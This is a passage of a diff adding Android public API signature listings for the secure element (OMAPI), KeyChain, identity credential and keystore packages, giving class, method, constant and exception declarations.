+    ctor public SEService(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, @NonNull android.se.omapi.SEService.OnConnectedListener);
+    method @NonNull public android.se.omapi.Reader[] getReaders();
+    method @NonNull public android.se.omapi.Reader getUiccReader(int);
+    method @NonNull public String getVersion();
+    method public boolean isConnected();
+    method public void shutdown();
+    field public static final String ACTION_SECURE_ELEMENT_STATE_CHANGED = "android.se.omapi.action.SECURE_ELEMENT_STATE_CHANGED";
+    field public static final String EXTRA_READER_NAME = "android.se.omapi.extra.READER_NAME";
+    field public static final String EXTRA_READER_STATE = "android.se.omapi.extra.READER_STATE";
+  }
+
+  public static interface SEService.OnConnectedListener {
+    method public void onConnected();
+  }
+
+  public final class Session {
+    method public void close();
+    method public void closeChannels();
+    method @Nullable public byte[] getATR();
+    method @NonNull public android.se.omapi.Reader getReader();
+    method public boolean isClosed();
+    method @Nullable public android.se.omapi.Channel openBasicChannel(@Nullable byte[], @Nullable byte) throws java.io.IOException;
+    method @Nullable public android.se.omapi.Channel openBasicChannel(@Nullable byte[]) throws java.io.IOException;
+    method @Nullable public android.se.omapi.Channel openLogicalChannel(@Nullable byte[], @Nullable byte) throws java.io.IOException;
+    method @Nullable public android.se.omapi.Channel openLogicalChannel(@Nullable byte[]) throws java.io.IOException;
+  }
+
+}
+
+package android.security {
+
+  public final class AppUriAuthenticationPolicy implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.Map<java.lang.String,java.util.Map<android.net.Uri,java.lang.String>> getAppAndUriMappings();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.security.AppUriAuthenticationPolicy> CREATOR;
+  }
+
+  public static final class AppUriAuthenticationPolicy.Builder {
+    ctor public AppUriAuthenticationPolicy.Builder();
+    method @NonNull public android.security.AppUriAuthenticationPolicy.Builder addAppAndUriMapping(@NonNull String, @NonNull android.net.Uri, @NonNull String);
+    method @NonNull public android.security.AppUriAuthenticationPolicy build();
+  }
+
+  public final class AttestedKeyPair {
+    ctor public AttestedKeyPair(@Nullable java.security.KeyPair, @NonNull java.util.List<java.security.cert.Certificate>);
+    method @NonNull public java.util.List<java.security.cert.Certificate> getAttestationRecord();
+    method @Nullable public java.security.KeyPair getKeyPair();
+  }
+
+  public class ConfirmationAlreadyPresentingException extends java.lang.Exception {
+    ctor public ConfirmationAlreadyPresentingException();
+    ctor public ConfirmationAlreadyPresentingException(String);
+  }
+
+  public abstract class ConfirmationCallback {
+    ctor public ConfirmationCallback();
+    method public void onCanceled();
+    method public void onConfirmed(@NonNull byte[]);
+    method public void onDismissed();
+    method public void onError(Throwable);
+  }
+
+  public class ConfirmationNotAvailableException extends java.lang.Exception {
+    ctor public ConfirmationNotAvailableException();
+    ctor public ConfirmationNotAvailableException(String);
+  }
+
+  public class ConfirmationPrompt {
+    method public void cancelPrompt();
+    method public static boolean isSupported(android.content.Context);
+    method public void presentPrompt(@NonNull java.util.concurrent.Executor, @NonNull android.security.ConfirmationCallback) throws android.security.ConfirmationAlreadyPresentingException, android.security.ConfirmationNotAvailableException;
+  }
+
+  public static final class ConfirmationPrompt.Builder {
+    ctor public ConfirmationPrompt.Builder(android.content.Context);
+    method public android.security.ConfirmationPrompt build();
+    method public android.security.ConfirmationPrompt.Builder setExtraData(byte[]);
+    method public android.security.ConfirmationPrompt.Builder setPromptText(CharSequence);
+  }
+
+  public final class FileIntegrityManager {
+    method public boolean isApkVeritySupported();
+    method @RequiresPermission(anyOf={android.Manifest.permission.INSTALL_PACKAGES, android.Manifest.permission.REQUEST_INSTALL_PACKAGES}) public boolean isAppSourceCertificateTrusted(@NonNull java.security.cert.X509Certificate) throws java.security.cert.CertificateEncodingException;
+  }
+
+  public final class KeyChain {
+    ctor public KeyChain();
+    method public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable String, int, @Nullable String);
+    method public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable android.net.Uri, @Nullable String);
+    method @NonNull public static android.content.Intent createInstallIntent();
+    method @NonNull public static android.content.Intent createManageCredentialsIntent(@NonNull android.security.AppUriAuthenticationPolicy);
+    method @Nullable @WorkerThread public static java.security.cert.X509Certificate[] getCertificateChain(@NonNull android.content.Context, @NonNull String) throws java.lang.InterruptedException, android.security.KeyChainException;
+    method @NonNull @WorkerThread public static android.security.AppUriAuthenticationPolicy getCredentialManagementAppPolicy(@NonNull android.content.Context) throws java.lang.SecurityException;
+    method @Nullable @WorkerThread public static java.security.PrivateKey getPrivateKey(@NonNull android.content.Context, @NonNull String) throws java.lang.InterruptedException, android.security.KeyChainException;
+    method @Deprecated public static boolean isBoundKeyAlgorithm(@NonNull String);
+    method @WorkerThread public static boolean isCredentialManagementApp(@NonNull android.content.Context);
+    method public static boolean isKeyAlgorithmSupported(@NonNull String);
+    method @RequiresPermission(value="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP", conditional=true) @WorkerThread public static boolean removeCredentialManagementApp(@NonNull android.content.Context);
+    field public static final String ACTION_KEYCHAIN_CHANGED = "android.security.action.KEYCHAIN_CHANGED";
+    field public static final String ACTION_KEY_ACCESS_CHANGED = "android.security.action.KEY_ACCESS_CHANGED";
+    field @Deprecated public static final String ACTION_STORAGE_CHANGED = "android.security.STORAGE_CHANGED";
+    field public static final String ACTION_TRUST_STORE_CHANGED = "android.security.action.TRUST_STORE_CHANGED";
+    field public static final String EXTRA_CERTIFICATE = "CERT";
+    field public static final String EXTRA_KEY_ACCESSIBLE = "android.security.extra.KEY_ACCESSIBLE";
+    field public static final String EXTRA_KEY_ALIAS = "android.security.extra.KEY_ALIAS";
+    field public static final String EXTRA_NAME = "name";
+    field public static final String EXTRA_PKCS12 = "PKCS12";
+    field public static final String KEY_ALIAS_SELECTION_DENIED = "android:alias-selection-denied";
+  }
+
+  public interface KeyChainAliasCallback {
+    method public void alias(@Nullable String);
+  }
+
+  public class KeyChainException extends java.lang.Exception {
+    ctor public KeyChainException();
+    ctor public KeyChainException(String);
+    ctor public KeyChainException(String, Throwable);
+    ctor public KeyChainException(Throwable);
+  }
+
+  @Deprecated public final class KeyPairGeneratorSpec implements java.security.spec.AlgorithmParameterSpec {
+    method @Deprecated @NonNull public java.security.spec.AlgorithmParameterSpec getAlgorithmParameterSpec();
+    method @Deprecated public android.content.Context getContext();
+    method @Deprecated @NonNull public java.util.Date getEndDate();
+    method @Deprecated public int getKeySize();
+    method @Deprecated @Nullable public String getKeyType();
+    method @Deprecated public String getKeystoreAlias();
+    method @Deprecated @NonNull public java.math.BigInteger getSerialNumber();
+    method @Deprecated @NonNull public java.util.Date getStartDate();
+    method @Deprecated @NonNull public javax.security.auth.x500.X500Principal getSubjectDN();
+    method @Deprecated public boolean isEncryptionRequired();
+  }
+
+  @Deprecated public static final class KeyPairGeneratorSpec.Builder {
+    ctor @Deprecated public KeyPairGeneratorSpec.Builder(@NonNull android.content.Context);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec build();
+    method @Deprecated public android.security.KeyPairGeneratorSpec.Builder setAlgorithmParameterSpec(@NonNull java.security.spec.AlgorithmParameterSpec);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setAlias(@NonNull String);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setEncryptionRequired();
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setEndDate(@NonNull java.util.Date);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setKeySize(int);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setKeyType(@NonNull String) throws java.security.NoSuchAlgorithmException;
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setSerialNumber(@NonNull java.math.BigInteger);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setStartDate(@NonNull java.util.Date);
+    method @Deprecated @NonNull public android.security.KeyPairGeneratorSpec.Builder setSubject(@NonNull javax.security.auth.x500.X500Principal);
+  }
+
+  @Deprecated public final class KeyStoreParameter implements java.security.KeyStore.ProtectionParameter {
+    method @Deprecated public boolean isEncryptionRequired();
+  }
+
+  @Deprecated public static final class KeyStoreParameter.Builder {
+    ctor @Deprecated public KeyStoreParameter.Builder(@NonNull android.content.Context);
+    method @Deprecated @NonNull public android.security.KeyStoreParameter build();
+    method @Deprecated @NonNull public android.security.KeyStoreParameter.Builder setEncryptionRequired(boolean);
+  }
+
+  public class NetworkSecurityPolicy {
+    method public static android.security.NetworkSecurityPolicy getInstance();
+    method public boolean isCleartextTrafficPermitted();
+    method public boolean isCleartextTrafficPermitted(String);
+  }
+
+}
+
+package android.security.identity {
+
+  public class AccessControlProfile {
+  }
+
+  public static final class AccessControlProfile.Builder {
+    ctor public AccessControlProfile.Builder(@NonNull android.security.identity.AccessControlProfileId);
+    method @NonNull public android.security.identity.AccessControlProfile build();
+    method @NonNull public android.security.identity.AccessControlProfile.Builder setReaderCertificate(@NonNull java.security.cert.X509Certificate);
+    method @NonNull public android.security.identity.AccessControlProfile.Builder setUserAuthenticationRequired(boolean);
+    method @NonNull public android.security.identity.AccessControlProfile.Builder setUserAuthenticationTimeout(long);
+  }
+
+  public class AccessControlProfileId {
+    ctor public AccessControlProfileId(int);
+    method public int getId();
+  }
+
+  public class AlreadyPersonalizedException extends android.security.identity.IdentityCredentialException {
+    ctor public AlreadyPersonalizedException(@NonNull String);
+    ctor public AlreadyPersonalizedException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class CipherSuiteNotSupportedException extends android.security.identity.IdentityCredentialException {
+    ctor public CipherSuiteNotSupportedException(@NonNull String);
+    ctor public CipherSuiteNotSupportedException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class DocTypeNotSupportedException extends android.security.identity.IdentityCredentialException {
+    ctor public DocTypeNotSupportedException(@NonNull String);
+    ctor public DocTypeNotSupportedException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class EphemeralPublicKeyNotFoundException extends android.security.identity.IdentityCredentialException {
+    ctor public EphemeralPublicKeyNotFoundException(@NonNull String);
+    ctor public EphemeralPublicKeyNotFoundException(@NonNull String, @NonNull Throwable);
+  }
+
+  public abstract class IdentityCredential {
+    method @NonNull public abstract java.security.KeyPair createEphemeralKeyPair();
+    method @NonNull public abstract byte[] decryptMessageFromReader(@NonNull byte[]) throws android.security.identity.MessageDecryptionException;
+    method @NonNull public byte[] delete(@NonNull byte[]);
+    method @NonNull public abstract byte[] encryptMessageToReader(@NonNull byte[]);
+    method @NonNull public abstract java.util.Collection<java.security.cert.X509Certificate> getAuthKeysNeedingCertification();
+    method @NonNull public abstract int[] getAuthenticationDataUsageCount();
+    method @NonNull public abstract java.util.Collection<java.security.cert.X509Certificate> getCredentialKeyCertificateChain();
+    method @NonNull public abstract android.security.identity.ResultData getEntries(@Nullable byte[], @NonNull java.util.Map<java.lang.String,java.util.Collection<java.lang.String>>, @Nullable byte[], @Nullable byte[]) throws android.security.identity.EphemeralPublicKeyNotFoundException, android.security.identity.InvalidReaderSignatureException, android.security.identity.InvalidRequestMessageException, android.security.identity.NoAuthenticationKeyAvailableException, android.security.identity.SessionTranscriptMismatchException;
+    method @NonNull public byte[] proveOwnership(@NonNull byte[]);
+    method public abstract void setAllowUsingExhaustedKeys(boolean);
+    method public void setAllowUsingExpiredKeys(boolean);
+    method public abstract void setAvailableAuthenticationKeys(int, int);
+    method public abstract void setReaderEphemeralPublicKey(@NonNull java.security.PublicKey) throws java.security.InvalidKeyException;
+    method @Deprecated public abstract void storeStaticAuthenticationData(@NonNull java.security.cert.X509Certificate, @NonNull byte[]) throws android.security.identity.UnknownAuthenticationKeyException;
+    method public void storeStaticAuthenticationData(@NonNull java.security.cert.X509Certificate, @NonNull java.time.Instant, @NonNull byte[]) throws android.security.identity.UnknownAuthenticationKeyException;
+    method @NonNull public byte[] update(@NonNull android.security.identity.PersonalizationData);
+  }
+
+  public class IdentityCredentialException extends java.lang.Exception {
+    ctor public IdentityCredentialException(@NonNull String);
+    ctor public IdentityCredentialException(@NonNull String, @NonNull Throwable);
+  }
+
+  public abstract class IdentityCredentialStore {
+    method @NonNull public abstract android.security.identity.WritableIdentityCredential createCredential(@NonNull String, @NonNull String) throws android.security.identity.AlreadyPersonalizedException, android.security.identity.DocTypeNotSupportedException;
+    method @Deprecated @Nullable public abstract byte[] deleteCredentialByName(@NonNull String);
+    method @Nullable public abstract android.security.identity.IdentityCredential getCredentialByName(@NonNull String, int) throws android.security.identity.CipherSuiteNotSupportedException;
+    method @Nullable public static android.security.identity.IdentityCredentialStore getDirectAccessInstance(@NonNull android.content.Context);
+    method @Nullable public static android.security.identity.IdentityCredentialStore getInstance(@NonNull android.content.Context);
+    method @NonNull public abstract String[] getSupportedDocTypes();
+    field public static final int CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256 = 1; // 0x1
+  }
+
+  public class InvalidReaderSignatureException extends android.security.identity.IdentityCredentialException {
+    ctor public InvalidReaderSignatureException(@NonNull String);
+    ctor public InvalidReaderSignatureException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class InvalidRequestMessageException extends android.security.identity.IdentityCredentialException {
+    ctor public InvalidRequestMessageException(@NonNull String);
+    ctor public InvalidRequestMessageException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class MessageDecryptionException extends android.security.identity.IdentityCredentialException {
+    ctor public MessageDecryptionException(@NonNull String);
+    ctor public MessageDecryptionException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class NoAuthenticationKeyAvailableException extends android.security.identity.IdentityCredentialException {
+    ctor public NoAuthenticationKeyAvailableException(@NonNull String);
+    ctor public NoAuthenticationKeyAvailableException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class PersonalizationData {
+  }
+
+  public static final class PersonalizationData.Builder {
+    ctor public PersonalizationData.Builder();
+    method @NonNull public android.security.identity.PersonalizationData.Builder addAccessControlProfile(@NonNull android.security.identity.AccessControlProfile);
+    method @NonNull public android.security.identity.PersonalizationData build();
+    method @NonNull public android.security.identity.PersonalizationData.Builder putEntry(@NonNull String, @NonNull String, @NonNull java.util.Collection<android.security.identity.AccessControlProfileId>, @NonNull byte[]);
+  }
+
+  public abstract class ResultData {
+    method @NonNull public abstract byte[] getAuthenticatedData();
+    method @Nullable public abstract byte[] getEntry(@NonNull String, @NonNull String);
+    method @Nullable public abstract java.util.Collection<java.lang.String> getEntryNames(@NonNull String);
+    method @Nullable public abstract byte[] getMessageAuthenticationCode();
+    method @NonNull public abstract java.util.Collection<java.lang.String> getNamespaces();
+    method @Nullable public abstract java.util.Collection<java.lang.String> getRetrievedEntryNames(@NonNull String);
+    method @NonNull public abstract byte[] getStaticAuthenticationData();
+    method public abstract int getStatus(@NonNull String, @NonNull String);
+    field public static final int STATUS_NOT_IN_REQUEST_MESSAGE = 3; // 0x3
+    field public static final int STATUS_NOT_REQUESTED = 2; // 0x2
+    field public static final int STATUS_NO_ACCESS_CONTROL_PROFILES = 6; // 0x6
+    field public static final int STATUS_NO_SUCH_ENTRY = 1; // 0x1
+    field public static final int STATUS_OK = 0; // 0x0
+    field public static final int STATUS_READER_AUTHENTICATION_FAILED = 5; // 0x5
+    field public static final int STATUS_USER_AUTHENTICATION_FAILED = 4; // 0x4
+  }
+
+  public class SessionTranscriptMismatchException extends android.security.identity.IdentityCredentialException {
+    ctor public SessionTranscriptMismatchException(@NonNull String);
+    ctor public SessionTranscriptMismatchException(@NonNull String, @NonNull Throwable);
+  }
+
+  public class UnknownAuthenticationKeyException extends android.security.identity.IdentityCredentialException {
+    ctor public UnknownAuthenticationKeyException(@NonNull String);
+    ctor public UnknownAuthenticationKeyException(@NonNull String, @NonNull Throwable);
+  }
+
+  public abstract class WritableIdentityCredential {
+    method @NonNull public abstract java.util.Collection<java.security.cert.X509Certificate> getCredentialKeyCertificateChain(@NonNull byte[]);
+    method @NonNull public abstract byte[] personalize(@NonNull android.security.identity.PersonalizationData);
+  }
+
+}
+
+package android.security.keystore {
+
+  public class BackendBusyException extends java.security.ProviderException {
+    ctor public BackendBusyException(long);
+    ctor public BackendBusyException(long, @NonNull String);
+    ctor public BackendBusyException(long, @NonNull String, @NonNull Throwable);
+    method public long getBackOffHintMillis();
+  }
+
+  public class KeyExpiredException extends java.security.InvalidKeyException {
+    ctor public KeyExpiredException();
+    ctor public KeyExpiredException(String);
+    ctor public KeyExpiredException(String, Throwable);
+  }
+
+  public final class KeyGenParameterSpec implements java.security.spec.AlgorithmParameterSpec {
+    method @Nullable public java.security.spec.AlgorithmParameterSpec getAlgorithmParameterSpec();
+    method @Nullable public String getAttestKeyAlias();
+    method public byte[] getAttestationChallenge();
+    method @NonNull public String[] getBlockModes();
+    method @NonNull public java.util.Date getCertificateNotAfter();
+    method @NonNull public java.util.Date getCertificateNotBefore();
+    method @NonNull public java.math.BigInteger getCertificateSerialNumber();
+    method @NonNull public javax.security.auth.x500.X500Principal getCertificateSubject();
+    method @NonNull public String[] getDigests();
+    method @NonNull public String[] getEncryptionPaddings();
+    method public int getKeySize();
+    method @Nullable public java.util.Date getKeyValidityForConsumptionEnd();
+    method @Nullable public java.util.Date getKeyValidityForOriginationEnd();
+    method @Nullable public java.util.Date getKeyValidityStart();
+    method @NonNull public String getKeystoreAlias();
+    method public int getMaxUsageCount();
+    method public int getPurposes();
+    method @NonNull public String[] getSignaturePaddings();
+    method public int getUserAuthenticationType();
+    method public int getUserAuthenticationValidityDurationSeconds();
+    method public boolean isDevicePropertiesAttestationIncluded();
+    method @NonNull public boolean isDigestsSpecified();
+    method public boolean isInvalidatedByBiometricEnrollment();
+    method public boolean isRandomizedEncryptionRequired();
+    method public boolean isStrongBoxBacked();
+    method public boolean isUnlockedDeviceRequired();
+    method public boolean isUserAuthenticationRequired();
+    method public boolean isUserAuthenticationValidWhileOnBody();
+    method public boolean isUserConfirmationRequired();
+    method public boolean isUserPresenceRequired();
+  }
+
+  public static final class KeyGenParameterSpec.Builder {
+    ctor public KeyGenParameterSpec.Builder(@NonNull String, int);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec build();
+    method public android.security.keystore.KeyGenParameterSpec.Builder setAlgorithmParameterSpec(@NonNull java.security.spec.AlgorithmParameterSpec);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setAttestKeyAlias(@Nullable String);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setAttestationChallenge(byte[]);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setBlockModes(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setCertificateNotAfter(@NonNull java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setCertificateNotBefore(@NonNull java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setCertificateSerialNumber(@NonNull java.math.BigInteger);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setCertificateSubject(@NonNull javax.security.auth.x500.X500Principal);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setDevicePropertiesAttestationIncluded(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setDigests(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setEncryptionPaddings(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setInvalidatedByBiometricEnrollment(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setIsStrongBoxBacked(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setKeySize(int);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setKeyValidityEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setKeyValidityForConsumptionEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setKeyValidityForOriginationEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setKeyValidityStart(java.util.Date);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setMaxUsageCount(int);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setRandomizedEncryptionRequired(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setSignaturePaddings(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUnlockedDeviceRequired(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserAuthenticationParameters(@IntRange(from=0) int, int);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserAuthenticationRequired(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserAuthenticationValidWhileOnBody(boolean);
+    method @Deprecated @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserAuthenticationValidityDurationSeconds(@IntRange(from=0xffffffff) int);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserConfirmationRequired(boolean);
+    method @NonNull public android.security.keystore.KeyGenParameterSpec.Builder setUserPresenceRequired(boolean);
+  }
+
+  public class KeyInfo implements java.security.spec.KeySpec {
+    method @NonNull public String[] getBlockModes();
+    method @NonNull public String[] getDigests();
+    method @NonNull public String[] getEncryptionPaddings();
+    method public int getKeySize();
+    method @Nullable public java.util.Date getKeyValidityForConsumptionEnd();
+    method @Nullable public java.util.Date getKeyValidityForOriginationEnd();
+    method @Nullable public java.util.Date getKeyValidityStart();
+    method public String getKeystoreAlias();
+    method public int getOrigin();
+    method public int getPurposes();
+    method public int getRemainingUsageCount();
+    method public int getSecurityLevel();
+    method @NonNull public String[] getSignaturePaddings();
+    method public int getUserAuthenticationType();
+    method public int getUserAuthenticationValidityDurationSeconds();
+    method @Deprecated public boolean isInsideSecureHardware();
+    method public boolean isInvalidatedByBiometricEnrollment();
+    method public boolean isTrustedUserPresenceRequired();
+    method public boolean isUserAuthenticationRequired();
+    method public boolean isUserAuthenticationRequirementEnforcedBySecureHardware();
+    method public boolean isUserAuthenticationValidWhileOnBody();
+    method public boolean isUserConfirmationRequired();
+  }
+
+  public class KeyNotYetValidException extends java.security.InvalidKeyException {
+    ctor public KeyNotYetValidException();
+    ctor public KeyNotYetValidException(String);
+    ctor public KeyNotYetValidException(String, Throwable);
+  }
+
+  public class KeyPermanentlyInvalidatedException extends java.security.InvalidKeyException {
+    ctor public KeyPermanentlyInvalidatedException();
+    ctor public KeyPermanentlyInvalidatedException(String);
+    ctor public KeyPermanentlyInvalidatedException(String, Throwable);
+  }
+
+  public abstract class KeyProperties {
+    field public static final int AUTH_BIOMETRIC_STRONG = 2; // 0x2
+    field public static final int AUTH_DEVICE_CREDENTIAL = 1; // 0x1
+    field public static final String BLOCK_MODE_CBC = "CBC";
+    field public static final String BLOCK_MODE_CTR = "CTR";
+    field public static final String BLOCK_MODE_ECB = "ECB";
+    field public static final String BLOCK_MODE_GCM = "GCM";
+    field public static final String DIGEST_MD5 = "MD5";
+    field public static final String DIGEST_NONE = "NONE";
+    field public static final String DIGEST_SHA1 = "SHA-1";
+    field public static final String DIGEST_SHA224 = "SHA-224";
+    field public static final String DIGEST_SHA256 = "SHA-256";
+    field public static final String DIGEST_SHA384 = "SHA-384";
+    field public static final String DIGEST_SHA512 = "SHA-512";
+    field public static final String ENCRYPTION_PADDING_NONE = "NoPadding";
+    field public static final String ENCRYPTION_PADDING_PKCS7 = "PKCS7Padding";
+    field public static final String ENCRYPTION_PADDING_RSA_OAEP = "OAEPPadding";
+    field public static final String ENCRYPTION_PADDING_RSA_PKCS1 = "PKCS1Padding";
+    field @Deprecated public static final String KEY_ALGORITHM_3DES = "DESede";
+    field public static final String KEY_ALGORITHM_AES = "AES";
+    field public static final String KEY_ALGORITHM_EC = "EC";
+    field public static final String KEY_ALGORITHM_HMAC_SHA1 = "HmacSHA1";
+    field public static final String KEY_ALGORITHM_HMAC_SHA224 = "HmacSHA224";
+    field public static final String KEY_ALGORITHM_HMAC_SHA256 = "HmacSHA256";
+    field public static final String KEY_ALGORITHM_HMAC_SHA384 = "HmacSHA384";
+    field public static final String KEY_ALGORITHM_HMAC_SHA512 = "HmacSHA512";
+    field public static final String KEY_ALGORITHM_RSA = "RSA";
+    field public static final int ORIGIN_GENERATED = 1; // 0x1
+    field public static final int ORIGIN_IMPORTED = 2; // 0x2
+    field public static final int ORIGIN_SECURELY_IMPORTED = 8; // 0x8
+    field public static final int ORIGIN_UNKNOWN = 4; // 0x4
+    field public static final int PURPOSE_AGREE_KEY = 64; // 0x40
+    field public static final int PURPOSE_ATTEST_KEY = 128; // 0x80
+    field public static final int PURPOSE_DECRYPT = 2; // 0x2
+    field public static final int PURPOSE_ENCRYPT = 1; // 0x1
+    field public static final int PURPOSE_SIGN = 4; // 0x4
+    field public static final int PURPOSE_VERIFY = 8; // 0x8
+    field public static final int PURPOSE_WRAP_KEY = 32; // 0x20
+    field public static final int SECURITY_LEVEL_SOFTWARE = 0; // 0x0
+    field public static final int SECURITY_LEVEL_STRONGBOX = 2; // 0x2
+    field public static final int SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1; // 0x1
+    field public static final int SECURITY_LEVEL_UNKNOWN = -2; // 0xfffffffe
+    field public static final int SECURITY_LEVEL_UNKNOWN_SECURE = -1; // 0xffffffff
+    field public static final String SIGNATURE_PADDING_RSA_PKCS1 = "PKCS1";
+    field public static final String SIGNATURE_PADDING_RSA_PSS = "PSS";
+    field public static final int UNRESTRICTED_USAGE_COUNT = -1; // 0xffffffff
+  }
+
+  public final class KeyProtection implements java.security.KeyStore.ProtectionParameter {
+    method @NonNull public String[] getBlockModes();
+    method @NonNull public String[] getDigests();
+    method @NonNull public String[] getEncryptionPaddings();
+    method @Nullable public java.util.Date getKeyValidityForConsumptionEnd();
+    method @Nullable public java.util.Date getKeyValidityForOriginationEnd();
+    method @Nullable public java.util.Date getKeyValidityStart();
+    method public int getMaxUsageCount();
+    method public int getPurposes();
+    method @NonNull public String[] getSignaturePaddings();
+    method public int getUserAuthenticationType();
+    method public int getUserAuthenticationValidityDurationSeconds();
+    method public boolean isDigestsSpecified();
+    method public boolean isInvalidatedByBiometricEnrollment();
+    method public boolean isRandomizedEncryptionRequired();
+    method public boolean isUnlockedDeviceRequired();
+    method public boolean isUserAuthenticationRequired();
+    method public boolean isUserAuthenticationValidWhileOnBody();
+    method public boolean isUserConfirmationRequired();
+    method public boolean isUserPresenceRequired();
+  }
+
+  public static final class KeyProtection.Builder {
+    ctor public KeyProtection.Builder(int);
+    method @NonNull public android.security.keystore.KeyProtection build();
+    method @NonNull public android.security.keystore.KeyProtection.Builder setBlockModes(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setDigests(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setEncryptionPaddings(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setInvalidatedByBiometricEnrollment(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setIsStrongBoxBacked(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setKeyValidityEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setKeyValidityForConsumptionEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setKeyValidityForOriginationEnd(java.util.Date);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setKeyValidityStart(java.util.Date);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setMaxUsageCount(int);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setRandomizedEncryptionRequired(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setSignaturePaddings(java.lang.String...);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUnlockedDeviceRequired(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUserAuthenticationParameters(@IntRange(from=0) int, int);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUserAuthenticationRequired(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUserAuthenticationValidWhileOnBody(boolean);
+    method @Deprecated @NonNull public android.security.keystore.KeyProtection.Builder setUserAuthenticationValidityDurationSeconds(@IntRange(from=0xffffffff) int);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUserConfirmationRequired(boolean);
+    method @NonNull public android.security.keystore.KeyProtection.Builder setUserPresenceRequired(boolean);
+  }
+
+  public class SecureKeyImportUnavailableException extends java.security.ProviderException {
+    ctor public SecureKeyImportUnavailableException();
+    ctor public SecureKeyImportUnavailableException(String);
+    ctor public SecureKeyImportUnavailableException(String, Throwable);
+    ctor public SecureKeyImportUnavailableException(Throwable);
+  }
+
+  public class StrongBoxUnavailableException extends java.security.ProviderException {
+    ctor public StrongBoxUnavailableException();
+    ctor public StrongBoxUnavailableException(String);
+    ctor public StrongBoxUnavailableException(String, Throwable);
+    ctor public StrongBoxUnavailableException(Throwable);
+  }
+
+  public class UserNotAuthenticatedException extends java.security.InvalidKeyException {
+    ctor public UserNotAuthenticatedException();
+    ctor public UserNotAuthenticatedException(String);
+    ctor public UserNotAuthenticatedException(String, Throwable);
+  }
+
+  public class UserPresenceUnavailableException extends java.security.InvalidKeyException {
+    ctor public UserPresenceUnavailableException();
+    ctor public UserPresenceUnavailableException(String);
+    ctor public UserPresenceUnavailableException(String, Throwable);
+  }
+
+  public class WrappedKeyEntry implements java.security.KeyStore.Entry {
+    ctor public WrappedKeyEntry(byte[], String, String, java.security.spec.AlgorithmParameterSpec);
